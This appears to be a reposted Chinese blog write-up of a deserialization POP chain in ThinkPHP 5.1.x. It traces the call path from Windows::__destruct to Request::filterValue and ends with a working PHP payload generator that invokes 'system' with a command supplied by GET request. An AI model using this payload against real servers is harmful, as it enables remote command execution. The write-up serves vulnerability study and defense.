ThinkPHP v5.1.x POP 鏈分析

来源:https://www.cnblogs.com/a609251438/archive/2019/11/10/11831735.html
-Advertisement-
Play Games

環境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔術方法並巧妙構造特殊屬性調用一系列函數或類方法以執行某種敏感操作的調用堆棧反序列化常用魔法函數前言我所理解的 POP Chain:利用魔 ...


環境:MacOS 10.13 MAMAP Prophp 7.0.33 + xdebugVisual Studio Code前言我所理解的 POP Chain:利用魔術方法並巧妙構造特殊屬性調用一系列函數或類方法以執行某種敏感操作的調用堆棧反序列化常用魔法函數


前言
我所理解的 POP Chain:
利用魔術方法並巧妙構造特殊屬性調用一系列函數或類方法以執行某種敏感操作的調用堆棧

反序列化常用魔法函數

  1.  1 __wakeup, unserialize() 執行前調用
     2 __destruct, 對銷毀的時候調用
     3 __toString, 類被當成字元串時的回應方法
     4 __construct(),當對象創建(new)時會自動調用,註意在
     5 unserialize()時並不會自動調用
     6 __sleep(),serialize()時會先被調用
     7 __call(),在對象中調用一個不可訪問方法時調用
     8 __callStatic(),用靜態方式中調用一個不可訪問方法時調用
     9 __get(),獲得一個類的成員變數時調用
    10 __set(),設置一個類的成員變數時調用
    11 __isset(),當對不可訪問屬性調用isset()或empty()時調用
    12 __unset(),當對不可訪問屬性調用unset()時被調用。
    13 __wakeup(),執行unserialize()時,先會調用這個函數
    14 __toString(),類被當成字元串時的回應方法
    15 __invoke(),調用函數的方式調用一個對象時的回應方法
    16 __set_state(),調用var_export()導出類時,此靜態方法會被調用。
    17 __clone(),當對象複製完成時調用
    18 __autoload(),嘗試載入未定義的類
    19 __debugInfo(),列印所需調試信息

     

 

phar 文件通過 phar:// 偽協議拓寬攻擊面 因為 phar 文件會以序列化的形式存儲用戶自定義的meta-data,所以在文件系統函數(file_exists()、is_dir()等)參數可控的情況下,配合phar://偽協議,可以不依賴unserialize()直接進行反序列化操作,深入瞭解請至:https://paper.seebug.org/680/

如果對反序列化沒有瞭解的話建議先學習下相關內容ThinkPHP v5.1.x POP 鏈分析安裝這裡使用的是官方 ThinkPHP V5.1.38composer 部署composer create-project topthink/think=5.1.38 tp5.1.38利用鏈全局搜索函數 __destruct

來到 /thinkphp/library/think/process/pipes/Windows.php

  1.  1 public function __destruct()
     2     {
     3         $this->close();
     4         $this->removeFiles();
     5     }
     6     . . .  . . . 
     7     /**
     8      * 刪除臨時文件
     9      */
    10     private function removeFiles()
    11     {
    12         foreach ($this->files as $filename) {
    13             if (file_exists($filename)) {
    14                 @unlink($filename);
    15             }
    16         }
    17         $this->files = [];
    18     }

     

 

看下 file_exists 的描述f

  1. 1 ile_exists ( string $filename ) 
複製代碼

: bool如果傳入的 $filename 是個反序列化的對象,在被 file_exists 當作字元串處理的時候就會觸發其 __toString 方法(如果有的話)所以下麵就是找含 __toString 方法的類

來到 /thinkphp/library/think/model/concern/Conversion.php

  1. 1 public function toJson($options = JSON_UNESCAPED_UNICODE)
    2     {
    3         return json_encode($this->toArray(), $options);
    4     }
    5     . . .   . . . 
    6     public function __toString()
    7     {
    8         return $this->toJson();
    9     }

     

 

可以看到,在 toJson() 函數中又調用了 toArray() 函數如果 toArray() 函數中存在並使用某個可控變數的方法,那麼我們就可以利用這點去觸發其他類的 __call 方法下麵是 toArray() 函數的定義,$this->append 作為類屬性是可控的,所以 $relation 和 $name 也就可控了,於是 $relation->visible($name); 就成了這個 POP 鏈中的中間跳板

phper在進階的時候總會遇到一些問題和瓶頸,業務代碼寫多了沒有方向感,不知道該從那裡入手去提升,對此我整理了一些資料,包括但不限於:分散式架構、高可擴展、高性能、高併發、伺服器性能調優、TP6,laravel,YII2,Redis,Swoole、Kafka、Mysql優化、shell腳本、Docker、微服務、Nginx等多個知識點高級進階乾貨需要的可以免費分享給大家,需要的(點擊→)我的官方群677079770https://jq.qq.com/?_wv=1027&k=5BoEMVl

  1.  1 public function toArray()
     2 {
     3     $item       = [];
     4     $hasVisible = false;
     5     . . .   . . .
     6     // 追加屬性(必須定義獲取器)
     7     if (!empty($this->append)) {
     8         foreach ($this->append as $key => $name) {
     9             if (is_array($name)) {
    10                 // 追加關聯對象屬性
    11                 $relation = $this->getRelation($key);
    12                 if (!$relation) {
    13                     $relation = $this->getAttr($key);
    14                     if ($relation) {
    15                         $relation->visible($name);
    16                     }
    17                 }
    18                 $item[$key] = $relation ? $relation->append($name)->toArray() : [];
    19             } elseif (strpos($name, '.')) {
    20            . . .   . . .   
    21             } else {
    22                 $item[$name] = $this->getAttr($name, $item);
    23             }
    24         }
    25     }
    26     return $item;
    27 }

     

 

那我們在這裡應該傳入怎麼樣的值以及什麼數據呢,先看下 $relation 是如何處理得到的

跟進 getRelation,在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函數定義

  1.  1 trait RelationShip
     2 {
     3     . . .   . . . 
     4     /**
     5      * 獲取當前模型的關聯模型數據
     6      * @access public
     7      * @param  string $name 關聯方法名
     8      * @return mixed
     9      */
    10     public function getRelation($name = null)
    11     {
    12         if (is_null($name)) {
    13             return $this->relation;
    14         } elseif (array_key_exists($name, $this->relation)) {
    15             return $this->relation[$name];
    16         }
    17         return;
    18     }
    19     . . .   . . . 
    20 }

     

 

由於 getRelation 最終都會 return; 導致返回 NULL,所以 下麵的 if (!$relation) 一定成立所以直接跟進後面的 getAttr,在 /thinkphp/library/think/model/concern/Attribute.php 找到其定義

  1.  1 trait Attribute
     2 {
     3     . . .   . . .
     4     public function getData($name = null)
     5     {
     6         if (is_null($name)) {
     7             return $this->data;
     8         } elseif (array_key_exists($name, $this->data)) {
     9             return $this->data[$name];
    10         } elseif (array_key_exists($name, $this->relation)) {
    11             return $this->relation[$name];
    12         }
    13         throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    14     }
    15     . . .   . . . 
    16     public function getAttr($name, &$item = null)
    17     {
    18         try {
    19             $notFound = false;
    20             $value    = $this->getData($name);
    21         } catch (InvalidArgumentException $e) {
    22             $notFound = true;
    23             $value    = null;
    24         }
    25         . . .  . . . 
    26     }
    27 }

     

從 getAttr ---> getData 返回 data 數組中同名鍵值的元素值,即 $relation <---- $this->data[$name],我們需要的 $data 和 $append 分別位於 Attribute 和 Conversion,且兩者都是 trait 類型Trait 可以說是和 Class 相似,是 PHP 5.4.0 開始實現的一種代碼復用的方法,可以使用 use 載入

詳情可以看官方手冊 PHP: Trait - Manual

所以接下來是尋找一個同時使用了 Attribute 和 Conversion 的類

發現只有 /thinkphp/library/think/Model.php 滿足條件

  1. 1 abstract class Model implements \JsonSerializable, \ArrayAccess
    2 {
    3     use model\concern\Attribute;
    4     use model\concern\RelationShip;
    5     use model\concern\ModelEvent;
    6     use model\concern\TimeStamp;
    7     use model\concern\Conversion;
    8     . . .   . . .
    9 }

     

下麵就需要找到一個沒有 visible 方法卻有 __call 方法的類作為執行點找到 /thinkphp/library/think/Request.php 中的 Request 類

  1.  1 class Request
     2 {
     3     . . .   . . . 
     4     /**
     5      * 擴展方法
     6      * @var array
     7      */
     8     protected $hook = [];
     9     . . .   . . . 
    10     public function __call($method, $args)
    11     {
    12         if (array_key_exists($method, $this->hook)) {
    13             array_unshift($args, $this);
    14             return call_user_func_array($this->hook[$method], $args);
    15         }
    16         throw new Exception('method not exists:' . static::class . '->' . $method);
    17     }
    18     . . .   . . .
    19 }

     

這裡的回調參數來源於 $hook 數組,而且方法名和參數都是可控的,不過 array_unshift 函數會把若幹元素前置到數組的開頭

  1.  1  $queue = array("orange", "banana");
     2 array_unshift($queue, "apple", "raspberry");
     3 print_r($queue);
     4 ///
     5 Array
     6 (
     7     [0] => apple
     8     [1] => raspberry
     9     [2] => orange
    10     [3] => banana
    11 )

     

這樣的話明顯就很難執行命令了,因為參數數組的第一個元素始終是 $this,無法直接執行我們想要的命令, 需要其他某種對參數不是這麼敏感的函數作為一個新的執行點或者跳板Request 類中有一個 filterValue 函數具有過濾功能,尋找調用 filterValue 的地方以便控制 $value 和 $filters 好執行命令

  1.  1 private function filterValue(&$value, $key, $filters)
     2     {
     3         $default = array_pop($filters);
     4         foreach ($filters as $filter) {
     5             if (is_callable($filter)) {
     6                 // 調用函數或者方法過濾
     7                 $value = call_user_func($filter, $value);
     8             } elseif (is_scalar($value)) {
     9              . . .   . . .         
    10              }
    11         return $value;
    12     }

     

Request 類中的 input 函數由 array_walk_recursive 調用了 filterValue,但是參數仍不可控,再往上尋找調用點看看

  1.  1 public function input($data = [], $name = '', $default = null, $filter = '')
     2     {
     3         if (false === $name) {
     4             // 獲取原始數據
     5             return $data;
     6         }
     7         $name = (string) $name;
     8         if ('' != $name) {
     9             // 解析name
    10             if (strpos($name, '/')) {
    11                 list($name, $type) = explode('/', $name);
    12             }
    13             $data = $this->getData($data, $name);
    14             if (is_null($data)) {
    15                 return $default;
    16             }
    17             if (is_object($data)) {
    18                 return $data;
    19             }
    20         }
    21         // 解析過濾器
    22         $filter = $this->getFilter($filter, $default);
    23         if (is_array($data)) {
    24             array_walk_recursive($data, [$this, 'filterValue'], $filter);
    25             if (version_compare(PHP_VERSION, '7.1.0', '<')) {
    26                 // 恢復PHP版本低於 7.1 時 array_walk_recursive 中消耗的內部指針
    27                 $this->arrayReset($data);
    28             }
    29         } else {
    30             $this->filterValue($data, $name, $filter);
    31         }
    32         . . .   . . . 
    33         return $data;
    34     }

     

複製代碼

Request 類中的 param 函數調用了 input 函數,但同樣參數不可控,再往上尋找調用點

  1.  1 public function param($name = '', $default = null, $filter = '')
     2     {
     3         . . .   . . .
     4         if (true === $name) {
     5             // 獲取包含文件上傳信息的數組
     6             $file = $this->file();
     7             $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
     8             return $this->input($data, '', $default, $filter);
     9         }
    10         return $this->input($this->param, $name, $default, $filter);
    11     }

     

轉到 isAjax 函數的定義

  1.  1 public function isAjax($ajax = false)
     2     {
     3         $value  = $this->server('HTTP_X_REQUESTED_WITH');
     4         $result = 'xmlhttprequest' == strtolower($value) ? true : false;
     5         if (true === $ajax) {
     6             return $result;
     7         }
     8         $result           = $this->param($this->config['var_ajax']) ? true : $result;
     9         $this->mergeParam = false;
    10         return $result;
    11     }

     

這裡 $ajax 參數沒有對類型的限制,而且 param 的參數來自 $this->config,是可控的,param 在最後所調用的 input 函數的 $this->param, $name 就都可控跟進 get 和 route 函數不難發現 $this->param 的值來自 GET 請求

  1. 1 // 當前請求參數和URL地址中的參數合併
    2 $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    3 /*
    4 http://127.0.0.1:9000/public/?test=pwd
    5 $this->param = array("test"=>"pwd")
    6 */

     

那麼回到 input 函數看處理流程

首先 $this->getData($data, $name) 得到 $data,跟進分析,返回 $data 為 $data[$val] 的值,即 $data[$name]

  1.  1 protected function getData(array $data, $name)
     2     {
     3         foreach (explode('.', $name) as $val) {
     4             if (isset($data[$val])) {
     5                 $data = $data[$val];
     6             } else {
     7                 return;
     8             }
     9         }
    10         return $data;
    11     }

     

回到 input,接著處理 $filter = $this->getFilter($filter, $default);getFilter 的兩個參數分別為 '' 和 null 且都不可控,但是跟進不難看出最後返回 $filter 的值就是 $this->filter,雖然後面 $filter[] = $default; 會給 filter 數組追加個值為 null 的元素,但後面 filterValue 中的 array_pop 函數正好給去掉了

  1.  1 protected function getFilter($filter, $default)
     2     {
     3         if (is_null($filter)) {
     4             $filter = [];
     5         } else {
     6             $filter = $filter ?: $this->filter;
     7             if (is_string($filter) && false === strpos($filter, '/')) {
     8                 $filter = explode(',', $filter);
     9             } else {
    10                 $filter = (array) $filter;
    11             }
    12         }
    13         $filter[] = $default;
    14         return $filter;
    15     }

     

這樣就得到一條可控變數的函數調用鏈,最後執行命令

下麵簡單梳理下流程 通過 Windows 類 __destruct() 方法調用到 file_exists 觸發某類的 __toString() 來到 toArray() 函數 通過控制分別位於 Attribute 和 Conversion 的 $data 和 $append 變數執行在 Request 中不存在的 visible 函數進而觸發其 __call() 在 Request 通過控制 $hook $filter $config 三個變數的值註入最終的 callback 名稱和參數,再經這麼一系列函數調用執行命令

  1. 1 __call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()

     

構造 Payload

由於 Model 類是 abstract 類型,無法實例化,而extends Model 的也只有一個 Pivot 類,所以就用它吧

  1.  1 <?php
     2 namespace think;
     3 abstract class Model
     4 {
     5     protected $append = [];
     6     private $data = [];
     7     function __construct(){
     8         $this->append = ["a"=>[""]];
     9         $this->data = ["a"=>new Request()];
    10     }
    11 }
    12 namespace think\model;
    13 use think\Model;
    14 class Pivot extends Model
    15 {
    16 }
    17 namespace think\process\pipes;
    18 use think\model\Pivot;
    19 class Windows
    20 {
    21     private $files = [];
    22     public function __construct()
    23     {
    24         $this->files = [new Pivot()];
    25     }
    26 }
    27 namespace think;
    28 class Request
    29 {
    30     protected $hook = [];
    31     protected $filter = "system";
    32     protected $config = [
    33         // 表單請求類型偽裝變數
    34         'var_method'       => '_method',
    35         // 表單ajax偽裝變數
    36         'var_ajax'         => '_ajax',
    37         // 表單pjax偽裝變數
    38         'var_pjax'         => '_pjax',
    39         // PATHINFO變數名 用於相容模式
    40         'var_pathinfo'     => 's',
    41         // 相容PATH_INFO獲取
    42         'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
    43         // 預設全局過濾方法 用逗號分隔多個
    44         'default_filter'   => '',
    45         // 功能變數名稱根,如thinkphp.cn
    46         'url_domain_root'  => '',
    47         // HTTPS代理標識
    48         'https_agent_name' => '',
    49         // IP代理獲取標識
    50         'http_agent_ip'    => 'HTTP_X_REAL_IP',
    51         // URL偽靜態尾碼
    52         'url_html_suffix'  => 'html',
    53     ];
    54     function __construct(){
    55         $this->filter = "system";
    56         $this->config = ["var_ajax"=>''];
    57         $this->hook = ["visible"=>[$this,"isAjax"]];
    58     }
    59 }
    60 use think\process\pipes\Windows;
    61 echo base64_encode(serialize(new Windows()));

     

自己先構造一個利用點反序列化我們的內容,生成好 payload,GET 傳入要執行的命令,命令別忘了 urlencode

查看調用堆棧


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 垃圾收集GC(Garbage Collection)是Java語言的核心技術之一, 在Java中,程式員不需要去關心記憶體動態分配和垃圾回收的問題,這一切都交給了JVM來處理。 一. jvm的記憶體結構 垃圾回收都是基於記憶體去回收的,因此,先要對記憶體結構有一個大概的瞭解 Java記憶體運行時區域大概分了三 ...
  • 背景 之前做的海量數據數據展示,在預處理速度和線上渲染上還有有所欠缺,本文中進行一些優化工作,使得九分鐘處理完一千多萬面數據的3 12級矢量切片,線上瀏覽數據請求時間控制在10s左右。 準備 軟體環境:PostGIS(3.0.0rc2 r17909)和 PostgreSQL( 12.0, compi ...
  • Eclipse部署多模塊項目到tomcat,啟動時找不到jar的解決方法。 ...
  • 在使用redis時,一般會設置一個過期時間,當然也有不設置過期時間的,也就是永久不過期。當設置了過期時間,redis是如何判斷是否過期,以及根據什麼策略來進行刪除的。 設置過期時間 expire key time(以秒為單位) 這是最常用的方式setex(String key, int second ...
  • scp是secure copy的簡寫,用於在Linux下進行遠程拷貝文件的命令,和它類似的命令有cp,不過cp只是在本機進行拷貝不能跨伺服器,而且scp傳輸是加密的。可能會稍微影響一下速度。當你伺服器硬碟變為只讀 read only system時,用scp可以幫你把文件移出來。另外,scp還非常不 ...
  • 你可能想創建一個在應用的任何地方都可以訪問的函數,這個教程將幫你實現 👏 很多教程都會說,你在 composer.json 這個文件中通過添加一個自動載入的文件,就可以實現這個需求。但我認為這不是一個好的方式,當你在 helpers.php 文件中添加了更多的函數時,可讀性將變得很差。 下麵我將介 ...
  • 在說正題之前先解釋一下交換機模式是個籠統的稱呼,它不是一個單獨的模式(包括了訂閱模式,路由模式和主題模式),交換機模式是一個比較常用的模式,主要是為了實現數據的同步。 首先,說一下訂閱模式,就和字面上的意思差不多主要就是一個生產者,多個消費者,同一個消息被多個消費者獲取,先看一下官網的圖示 整體執行 ...
  • 當創建隊列jobs、監聽器或訂閱伺服器以推送到隊列中時,您可能會開始認為,一旦分派,隊列工作器決定如何處理您的邏輯就完全由您自己決定了。 嗯……並不是說你不能從作業內部與隊列工作器交互,但是通常情況下,哪怕你做了,也是沒必要的。 這個神奇的騷操作的出現是因為“InteractsWithQueue”這 ...
一周排行
    -Advertisement-
    Play Games
  • Dapr Outbox 是1.12中的功能。 本文只介紹Dapr Outbox 執行流程,Dapr Outbox基本用法請閱讀官方文檔 。本文中appID=order-processor,topic=orders 本文前提知識:熟悉Dapr狀態管理、Dapr發佈訂閱和Outbox 模式。 Outbo ...
  • 引言 在前幾章我們深度講解了單元測試和集成測試的基礎知識,這一章我們來講解一下代碼覆蓋率,代碼覆蓋率是單元測試運行的度量值,覆蓋率通常以百分比表示,用於衡量代碼被測試覆蓋的程度,幫助開發人員評估測試用例的質量和代碼的健壯性。常見的覆蓋率包括語句覆蓋率(Line Coverage)、分支覆蓋率(Bra ...
  • 前言 本文介紹瞭如何使用S7.NET庫實現對西門子PLC DB塊數據的讀寫,記錄了使用電腦模擬,模擬PLC,自至完成測試的詳細流程,並重點介紹了在這個過程中的易錯點,供參考。 用到的軟體: 1.Windows環境下鏈路層網路訪問的行業標準工具(WinPcap_4_1_3.exe)下載鏈接:http ...
  • 從依賴倒置原則(Dependency Inversion Principle, DIP)到控制反轉(Inversion of Control, IoC)再到依賴註入(Dependency Injection, DI)的演進過程,我們可以理解為一種逐步抽象和解耦的設計思想。這種思想在C#等面向對象的編 ...
  • 關於Python中的私有屬性和私有方法 Python對於類的成員沒有嚴格的訪問控制限制,這與其他面相對對象語言有區別。關於私有屬性和私有方法,有如下要點: 1、通常我們約定,兩個下劃線開頭的屬性是私有的(private)。其他為公共的(public); 2、類內部可以訪問私有屬性(方法); 3、類外 ...
  • C++ 訪問說明符 訪問說明符是 C++ 中控制類成員(屬性和方法)可訪問性的關鍵字。它們用於封裝類數據並保護其免受意外修改或濫用。 三種訪問說明符: public:允許從類外部的任何地方訪問成員。 private:僅允許在類內部訪問成員。 protected:允許在類內部及其派生類中訪問成員。 示 ...
  • 寫這個隨筆說一下C++的static_cast和dynamic_cast用在子類與父類的指針轉換時的一些事宜。首先,【static_cast,dynamic_cast】【父類指針,子類指針】,兩兩一組,共有4種組合:用 static_cast 父類轉子類、用 static_cast 子類轉父類、使用 ...
  • /******************************************************************************************************** * * * 設計雙向鏈表的介面 * * * * Copyright (c) 2023-2 ...
  • 相信接觸過spring做開發的小伙伴們一定使用過@ComponentScan註解 @ComponentScan("com.wangm.lifecycle") public class AppConfig { } @ComponentScan指定basePackage,將包下的類按照一定規則註冊成Be ...
  • 操作系統 :CentOS 7.6_x64 opensips版本: 2.4.9 python版本:2.7.5 python作為腳本語言,使用起來很方便,查了下opensips的文檔,支持使用python腳本寫邏輯代碼。今天整理下CentOS7環境下opensips2.4.9的python模塊筆記及使用 ...